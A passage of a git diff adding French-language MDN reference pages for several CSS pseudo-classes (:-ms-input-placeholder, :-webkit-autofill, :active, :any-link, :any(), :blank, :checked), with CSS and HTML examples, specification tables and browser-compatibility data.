+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-window-inactive")}}</p>
diff --git a/files/fr/web/css/_colon_-ms-input-placeholder/index.html b/files/fr/web/css/_colon_-ms-input-placeholder/index.html
new file mode 100644
index 0000000000..1baa216663
--- /dev/null
+++ b/files/fr/web/css/_colon_-ms-input-placeholder/index.html
@@ -0,0 +1,116 @@
+---
+title: ':-ms-input-placeholder'
+slug: 'Web/CSS/:-ms-input-placeholder'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Référence(2)
+translation_of: 'Web/CSS/:placeholder-shown'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La pseudo-classe <strong><code>:-ms-input-placeholder</code></strong> représente le texte de substitution d'un élément de formulaire. Elle permet aux auteurs et aux développeurs web d'adapter l'apparence des textes de substitution. Cette pseudo-classe est propriétaire et est uniquement prise en charge par Internet Explorer et Edge.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, le champ « Identifiant » a un style particulier. Le texte de substitution est affiché de cette façon jusqu'à ce que le focus passe sur le champ (ce qui correspond à une saisie).</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input {
+  background-color:#E8E8E8;
+  color:black;
+}
+/* Style pour le texte de substitution */
+input.studentid:-ms-input-placeholder {
+  font-style:italic;
+  color: red;
+  background-color: yellow;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form id="test"&gt;
+  &lt;p&gt;&lt;label&gt;Saisir le nom : &lt;input id="nom" placeholder="Nom de l'étudiant"/&gt;&lt;/label&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;label&gt;Saisir le domaine : &lt;input id="domaine" placeholder="Domaine d'étude" /&gt;&lt;/label&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;label&gt;Saisir l'identifiant : &lt;input type="num" pattern="[0-9]{8}" title="8 digit ID" id="sid" class="studentid" placeholder="Identifiant à 8 chiffres" /&gt;&lt;/label&gt;&lt;/p&gt;
+  &lt;input type="submit" /&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","300")}}</p>
+
+<h3 id="Capture_d'écran">Capture d'écran</h3>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12684/bandicam%202016-03-08%2001-48-59-851.jpg" style="border-style: solid; border-width: 1px; height: 160px; margin: 0px; width: 650px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Trident/Microsoft et ne fait partie d'aucune spécification. <a href="https://msdn.microsoft.com/en-us/library/hh772745(v=vs.85).aspx">MSDN documente cette pseudo-classe</a>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::placeholder")}}</li>
+ <li>{{cssxref("::-webkit-input-placeholder")}}</li>
+ <li>{{cssxref("::-moz-placeholder")}}</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Forms_in_HTML">Les formulaires en HTML</a></li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-webkit-autofill/index.html b/files/fr/web/css/_colon_-webkit-autofill/index.html
new file mode 100644
index 0000000000..4d7aadd16e
--- /dev/null
+++ b/files/fr/web/css/_colon_-webkit-autofill/index.html
@@ -0,0 +1,33 @@
+---
+title: ':-webkit-autofill'
+slug: 'Web/CSS/:-webkit-autofill'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-webkit-autofill'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La pseudo-classe <strong><code>:-webkit-autofill</code></strong> correspond à un élément {{HTMLElement("input")}} lorsque sa valeur est remplie automatiquement par le navigateur.</p>
+
+<p class="note"><strong>Note :</strong> Pour plusieurs navigateurs, les feuilles de style de l'agent utilisateur utilisent <code>!important</code> pour les déclarations avec <code>:-webkit-autofill</code> ce qui les rend difficilement modifiables sans utiliser JavaScript.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-webkit-autofill")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=46543">Bug Chromium n°46543 : Le fond jaune des champs texte saisis automatiquement ne peut pas être désactivé.</a></li>
+ <li><a href="https://bugs.webkit.org/show_bug.cgi?id=66032">Bug WebKit n°66032 : Permettre aux auteurs de surcharger la couleur des champs remplis automatiquement.</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=740979">Bug Mozilla n°740979 : Implémentation de la pseudo-classe <code>:-moz-autofill</code> pour  les éléments <code>input</code> avec une valeur saisie automatiquement.</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_active/index.html b/files/fr/web/css/_colon_active/index.html
new file mode 100644
index 0000000000..bf8309e0a5
--- /dev/null
+++ b/files/fr/web/css/_colon_active/index.html
@@ -0,0 +1,129 @@
+---
+title: ':active'
+slug: 'Web/CSS/:active'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:active'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:active</code></strong> permet de cibler un élément lorsque celui-ci est activé par l'utilisateur. Elle permet de fournir un <em>feedback</em> indiquant que l'activation a bien été détectée par le navigateur. Lorsqu'on a une interaction avec un pointeur, il s'agit généralement du moment entre l'appui sur le pointeur et le relâchement de celui-ci.</p>
+
+<pre class="brush: css no-line-numbers">/* ne cible &lt;a&gt; que lorsqu'il est activé */
+/* par exemple quand on clique dessus */
+a:active {
+  color: red;
+}</pre>
+
+<p>La pseudo-classe <code>:active</code> est également activée lorsque l'utilisateur emploie la touche de tabulation. Elle est souvent utilisée sur les éléments HTML {{HTMLElement("a")}} et {{HTMLElement("button")}} mais n'est pas restreinte à ceux-ci. Les éléments ciblés par cette pseudo-classe incluent les éléments qui contiennent l'élément activé et les éléments de formulaires activés via leur élément {{HTMLElement("label")}} associé.</p>
+
+<p>La mise en forme associée peut être surchargée par les autres pseudo-classes pour les liens : {{cssxref(":link")}}, {{cssxref(":hover")}} et {{cssxref(":visited")}} lorsqu'elles sont utilisées dans des règles qui suivent. Afin de mettre en forme les liens de façon correcte, la règle avec <code>:active</code> doit être écrite après les autres : <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p>
+
+<div class="note"><strong>Note :</strong> Pour les systèmes qui utilisent une souris avec plusieurs boutons, CSS 3 spécifie que la pseudo-classe <code>:active</code> ne doit s'appliquer qu'au bouton principal. Pour les souris de droitiers, c'est généralement le bouton le plus à gauche.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Liens_actifs">Liens actifs</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">a:link { color: blue; }          /* Liens non visités */
+a:visited { color: purple; }     /* Liens visités */
+a:hover { background: yellow; }  /* Liens survolés */
+a:active { color: red; }         /* Liens actifs */
+
+p:active { background: #eee; }   /* Paragraphes actifs */</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Ce paragraphe contient un lien :
+  &lt;a href="#"&gt;Ce lien devient rouge quand vous cliquez dessus.&lt;/a&gt;
+  Le paragraphe sera sur un fond gris quand vous cliquerez dessus
+  ou sur le lien.
+&lt;/p&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Liens_actifs')}}</p>
+
+<h3 id="Éléments_de_formulaire_actifs">Éléments de formulaire actifs</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">form :active {
+  color: red;
+}
+
+form button {
+  background: white;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="mon-button"&gt;Un bouton :&lt;/label&gt;
+  &lt;button id="mon-button" type="button"&gt;Cliquez sur moi ou sur mon libellé !&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Éléments_de_formulaire_actifs')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#active-pseudo', ':active')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#useraction-pseudos', ':active')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':active')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#anchor-pseudo-classes', ':active')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.active")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":link")}}</li>
+ <li>{{cssxref(":visited")}}</li>
+ <li>{{cssxref(":hover")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_any-link/index.html b/files/fr/web/css/_colon_any-link/index.html
new file mode 100644
index 0000000000..3478e545af
--- /dev/null
+++ b/files/fr/web/css/_colon_any-link/index.html
@@ -0,0 +1,76 @@
+---
+title: ':any-link'
+slug: 'Web/CSS/:any-link'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:any-link'
+---
+<div>{{CSSRef}}</div>
+
+<p>La pseudo-classe <strong><code>:any-link</code></strong> permet de représenter un élément qui agit comme la source de l'ancre d'un hyperlien (qu'il ait été visité ou non). Elle permet donc de cibler les éléments {{HTMLElement("a")}}, {{HTMLElement("area")}} ou {{HTMLElement("link")}} avec un attribut <code>href</code>. Autrement dit, elle cible les éléments qui correspondent à {{cssxref(":link")}} ou à {{cssxref(":visited")}}.</p>
+
+<pre class="brush: css no-line-numbers  language-css">/* cible tous les éléments qui seraient ciblés par */
+/* :link ou :visited */
+:any-link {
+  color: green;
+  font-weight: bold;
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">:any-link {
+  color: green;
+  font-weight: bold;
+}
+
+/* Pour les navigateurs WebKit */
+:-webkit-any-link {
+  color: green;
+  font-weight: bold;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="https://mozilla.org"&gt;Une page différente&lt;/a&gt;&lt;br&gt;
+&lt;a href="#"&gt;Une ancre&lt;/a&gt;&lt;br&gt;
+&lt;a&gt;Un lien sans cible (n'est pas mis en forme)&lt;/a&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-any-link-pseudo", ":any-link")}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à proposer une <em>pull request</em> sur le dépôt <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.selectors.any-link")}}</p>
diff --git a/files/fr/web/css/_colon_any/index.html b/files/fr/web/css/_colon_any/index.html
new file mode 100644
index 0000000000..0178fd736d
--- /dev/null
+++ b/files/fr/web/css/_colon_any/index.html
@@ -0,0 +1,174 @@
+---
+title: ':any()'
+slug: 'Web/CSS/:any'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:is'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:any()</code></strong> vous permet de construire des ensembles de sélecteurs similaires en créant des groupes à partir desquels l'un des éléments sera activé. C'est une méthode alternative qui permet d'éviter de réécrire un sélecteur entier alors que seule une petite partie varie.</p>
+
+<pre class="brush: css no-line-numbers">/* sélectionne tous les h2 d'une section, d'un article */
+/* d'un aside ou d'un nav */
+/* actuellement pris en charge avec les préfixes */
+/* -moz- et -webkit- */
+:-moz-any(section, article, aside, nav) h2 {
+  font-size: 4.5rem;
+}
+
+:-webkit-any(section, article, aside, nav) h2 {
+  font-size: 4.5rem;
+}
+</pre>
+
+<div class="note"><strong>Note : </strong>Cette pseudo-classe est en voie d'être standardisée dans la spécification <a class="external" href="http://dev.w3.org/csswg/selectors4/#matches"><em>CSS Selectors Level 4</em></a> sous le nom de <code>:matches()</code>. Il est probable que la syntaxe et le nom de <code>:-<em>préfixe</em>-any()</code> soit amené à changer pour l'adopter dans un avenir proche.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>selector</code></dt>
+ <dd>Un sélecteur, simple ou multiple, composé d'un <a class="external" href="http://www.w3.org/TR/css3-selectors/#simple-selectors">sélecteur CSS simple</a>.</dd>
+</dl>
+
+<div class="note"><strong>Note :</strong> Le sélecteur <strong>ne peut pas</strong> contenir de combinateur ou de pseudo-éléments.</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Simplifier_la_sélection_de_listes">Simplifier la sélection de listes</h3>
+
+<p>Par exemple, le code CSS suivant :</p>
+
+<pre class="brush: css">/*  Les listes non-ordonnes utilisent un carré */
+    dans certains cas */
+ol ol ul,     ol ul ul,     ol menu ul,     ol dir ul,
+ol ol menu,   ol ul menu,   ol menu menu,   ol dir menu,
+ol ol dir,    ol ul dir,    ol menu dir,    ol dir dir,
+ul ol ul,     ul ul ul,     ul menu ul,     ul dir ul,
+ul ol menu,   ul ul menu,   ul menu menu,   ul dir menu,
+ul ol dir,    ul ul dir,    ul menu dir,    ul dir dir,
+menu ol ul,   menu ul ul,   menu menu ul,   menu dir ul,
+menu ol menu, menu ul menu, menu menu menu, menu dir menu,
+menu ol dir,  menu ul dir,  menu menu dir,  menu dir dir,
+dir ol ul,    dir ul ul,    dir menu ul,    dir dir ul,
+dir ol menu,  dir ul menu,  dir menu menu,  dir dir menu,
+dir ol dir,   dir ul dir,   dir menu dir,   dir dir dir {
+  list-style-type: square;
+}
+</pre>
+
+<p>Pourra être remplacé par :</p>
+
+<pre class="brush: css">/* Les listes non-ordonnes utilisent un carré */
+   dans certains cas */
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) ul,
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) menu,
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) dir {
+  list-style-type: square;
+}</pre>
+
+<p>Cependant, on évitera d'utiliser le code suivant (cf. <a href="#Performances">la section sur les performances</a> plus bas) :</p>
+
+<pre class="brush: css">:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) :-moz-any(ul, menu, dir) {
+  list-style-type: square;
+}</pre>
+
+<h3 id="Simplifier_la_sélection_de_section">Simplifier la sélection de section</h3>
+
+<p>Ceci est particulièrement utile lorsqu'on manipule <a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document">des sections et des titres</a> HTML. Les éléments {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}} et {{HTMLElement("nav")}} peuvent être imbriqués, sans <code>:any()</code>, leur appliquer un style peut être beaucoup plus complexe.</p>
+
+<p>Par exemple, sans <code>:any()</code>, appliquer un style à tous les éléments {{HTMLElement("h1")}} situés à différents niveaux peut être vraiment compliqué :</p>
+
+<pre class="brush: css">/* Niveau 0 */
+h1 {
+  font-size: 30px;
+}
+/* Niveau 1 */
+section h1, article h1, aside h1, nav h1 {
+  font-size: 25px;
+}
+/* Niveau 2 */
+section section h1, section article h1, section aside h1, section nav h1,
+article section h1, article article h1, article aside h1, article nav h1,
+aside section h1, aside article h1, aside aside h1, aside nav h1,
+nav section h1, nav article h1, nav aside h1, nav nav h1, {
+  font-size: 20px;
+}
+/* Niveau 3 */
+/* ... même pas la peine d'y penser */
+</pre>
+
+<p>En utilisant : <code>-any()</code>, cela devient plus simple :</p>
+
+<pre class="brush: css">/* Niveau 0 */
+h1 {
+  font-size: 30px;
+}
+/* Niveau 1 */
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 25px;
+}
+:-webkit-any(section, article, aside, nav) h1 {
+  font-size: 25px;
+}
+
+/* Niveau 2 */
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 20px;
+}
+
+:-webkit-any(section, article, aside, nav)
+:-webkit-any(section, article, aside, nav) h1 {
+  font-size: 20px;
+}
+
+/* Niveau 3 */
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 15px;
+}
+
+:-webkit-any(section, article, aside, nav)
+:-webkit-any(section, article, aside, nav)
+:-webkit-any(section, article, aside, nav) h1 {
+  font-size: 15px;
+}</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="Problèmes_avec_les_performances_et_la_spécificité"><a id="Performances">Problèmes avec les performances et la spécificité</a></h3>
+
+<p>Le bug {{bug("561154")}} illustre un problème où la spécificité de <code>:-moz-any()</code> est incorrecte. L'implémentation actuelle considère <code>:-moz-any()</code> comme une règle universelle. Ainsi, lorsqu'il est utilisé pour le sélecteur le plus à droite d'un expression ce sera plus lent que d'utiliser un identifiant, une classe ou une balise.</p>
+
+<p>Par exemple :</p>
+
+<pre class="brush: css">.a &gt; :-moz-any(.b, .c)
+</pre>
+
+<p>est moins rapide que :</p>
+
+<pre class="brush: css">.a &gt; .b, .a &gt; .c
+</pre>
+
+<p>et celui-ci est rapide :</p>
+
+<pre class="brush: css">:-moz-any(.a, .d) &gt; .b, :-moz-any(.a, .d) &gt; .c
+</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.any")}}</p>
diff --git a/files/fr/web/css/_colon_blank/index.html b/files/fr/web/css/_colon_blank/index.html
new file mode 100644
index 0000000000..78f5f10739
--- /dev/null
+++ b/files/fr/web/css/_colon_blank/index.html
@@ -0,0 +1,53 @@
+---
+title: ':blank'
+slug: 'Web/CSS/:blank'
+tags:
+  - CSS
+  - Draft
+  - Experimental
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:blank'
+---
+<p>{{CSSRef}}{{Draft}}{{SeeCompatTable}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Le sélecteur <code>:blank</code> est une fonctionnalité considérée risquée car en cours de modification par le CSSWG. Voir <a href="https://github.com/w3c/csswg-drafts/issues/1967" title="[selectors] decide on :blank">l'<em>issue</em> n°1967 à ce propos</a>.</p>
+</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:blank</code></strong> permet de sélectionner les champs saissables par l'utilisateur et qui sont vides (par exemple des éléments {{HTMLElement("input")}} ou {{HTMLElement("textarea")}} où rien n'a encore été saisi).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#blank-pseudo", ":blank")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.blank")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef(":empty")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_checked/index.html b/files/fr/web/css/_colon_checked/index.html
new file mode 100644
index 0000000000..1c30f76b91
--- /dev/null
+++ b/files/fr/web/css/_colon_checked/index.html
@@ -0,0 +1,141 @@
+---
+title: ':checked'
+slug: 'Web/CSS/:checked'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:checked'
+---
+<div>{{CSSRef}}</div>
+
+<p>La pseudo-classe <strong><code>:checked</code></strong> représente n'importe quel <strong>bouton radio</strong> (<code><a href="/fr/docs/Web/HTML/Element/input/radio">&lt;input type="radio"&gt;</a></code>), <strong>case à cocher </strong>(<code><a href="/fr/docs/Web/HTML/Element/input/checkbox">&lt;input type="checkbox"&gt;</a></code>) ou <strong>option</strong> ({{HTMLElement("option")}} d'un élément {{HTMLElement("select")}}) qui est coché ou activé (<code>on</code>). L'utilisateur peut modifier cet état en cliquant sur l'élément ou en sélectionnant une valeur différente auquel cas la pseudo-classe <code>:checked</code> ne s'applique plus à l'élément en question.</p>
+
+<pre class="brush: css no-line-numbers">/* cible n'importe quel bouton radio sélectionné, case
+/* à cocher cochée ou option sélectionnée */
+input:checked {
+  margin-left: 25px;
+  border: 1px solid blue;
+}
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Les navigateurs considèrent souvent les éléments <code>&lt;option&gt;</code> comme <a href="/fr/docs/Web/CSS/%C3%89l%C3%A9ment_remplac%C3%A9">des éléments remplacés</a>et la possibilité de mise en forme avec <code>:checked</code> varie d'un navigateur à l'autre.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ici, on utilise la pseudo-classe <code>:checked</code> pseudo-class applied to hidden checkboxes appended at the beginning of your page could be employed in order to store some dynamic booleans to be used by a CSS rule. The following example shows how to hide/show some expandable elements by simply clicking on a button (<a class="internal" href="/@api/deki/files/6246/=expandable-elements.html" title="Expandable elements through the :checked pseudoclass">download this demo</a>).</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#expand-btn {
+    margin: 0 3px;
+    display: inline-block;
+    font: 12px / 13px "Lucida Grande", sans-serif;
+    text-shadow: rgba(255, 255, 255, 0.4) 0 1px;
+    padding: 3px 6px;
+    border: 1px solid rgba(0, 0, 0, 0.6);
+    background-color: #969696;
+    cursor: default;
+    border-radius: 3px;
+    box-shadow: rgba(255, 255, 255, 0.4) 0 1px, inset 0 20px 20px -10px white;
+}
+
+#isexpanded:checked ~ #expand-btn, #isexpanded:checked ~ * #expand-btn {
+    background: #B5B5B5;
+    box-shadow: inset rgba(0, 0, 0, 0.4) 0 -5px 12px, inset rgba(0, 0, 0, 1) 0 1px 3px, rgba(255, 255, 255, 0.4) 0 1px;
+}
+
+#isexpanded, .expandable {
+    display: none;
+}
+
+#isexpanded:checked ~ * tr.expandable {
+    display: table-row;
+    background: #cccccc;
+
+}
+
+#isexpanded:checked ~ p.expandable, #isexpanded:checked ~ * p.expandable {
+    display: block;
+    background: #cccccc;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="checkbox" id="isexpanded" /&gt;
+
+&lt;table&gt;
+    &lt;thead&gt;
+        &lt;tr&gt;&lt;th&gt;Colonne 1&lt;/th&gt;&lt;th&gt;Colonne 2&lt;/th&gt;&lt;th&gt;Colonne 3&lt;/th&gt;&lt;/tr&gt;
+    &lt;/thead&gt;
+    &lt;tbody&gt;
+        &lt;tr class="expandable"&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;/tr&gt;
+        &lt;tr&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;/tr&gt;
+        &lt;tr&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;/tr&gt;
+        &lt;tr class="expandable"&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;/tr&gt;
+        &lt;tr class="expandable"&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;td&gt;[cellule]&lt;/td&gt;&lt;/tr&gt;
+    &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;p&gt;[Un texte normal]&lt;/p&gt;
+&lt;p&gt;&lt;label for="isexpanded" id="expand-btn"&gt;Afficher les éléments masqués&lt;/label&gt;&lt;/p&gt;
+&lt;p class="expandable"&gt;[Un texte caché]&lt;/p&gt;
+&lt;p&gt;[Un texte normal]&lt;/p&gt;
+</pre>
+
